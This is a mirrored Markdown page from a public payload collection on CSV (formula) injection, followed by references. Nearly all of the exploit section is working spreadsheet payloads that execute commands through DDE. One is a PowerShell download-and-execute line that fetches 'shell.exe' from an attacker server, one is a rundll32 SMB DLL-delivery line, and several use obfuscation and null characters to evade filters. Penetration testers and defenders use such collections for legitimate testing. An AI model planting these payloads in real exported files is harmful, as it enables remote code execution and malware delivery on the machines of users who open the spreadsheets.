mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 21:35:27 +00:00
64 lines
2.7 KiB
Markdown
64 lines
2.7 KiB
Markdown
# CSV Injection (Formula Injection)
|
||
|
||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||
|
||
## Exploit
|
||
|
||
Basic exploit with Dynamic Data Exchange
|
||
|
||
```powershell
|
||
# pop a calc
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+1)*cmd|' /C calc'!A0
|
||
=2+5+cmd|' /C calc'!A0
|
||
|
||
# pop a notepad
|
||
=cmd|' /C notepad'!'A1'
|
||
|
||
# powershell download and execute
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
|
||
# msf smb delivery with rundll32
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
|
||
# Prefix obfuscation and command chaining
|
||
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
||
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
||
+thespanishinquisition(cmd|'/c calc.exe'!A
|
||
= cmd|'/c calc.exe'!A
|
||
|
||
# Using rundll32 instead of cmd
|
||
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
||
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
||
|
||
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
||
= C m D | '/ c c al c . e x e ' ! A
|
||
|
||
```
|
||
|
||
Technical Details of the above payload:
|
||
|
||
- `cmd` is the name the server can respond to whenever a client is trying to access the server
|
||
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
|
||
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||
|
||
Any formula can be started with
|
||
|
||
```powershell
|
||
=
|
||
+
|
||
–
|
||
@
|
||
```
|
||
|
||
## References
|
||
|
||
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
||
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
|
||
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
|
||
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|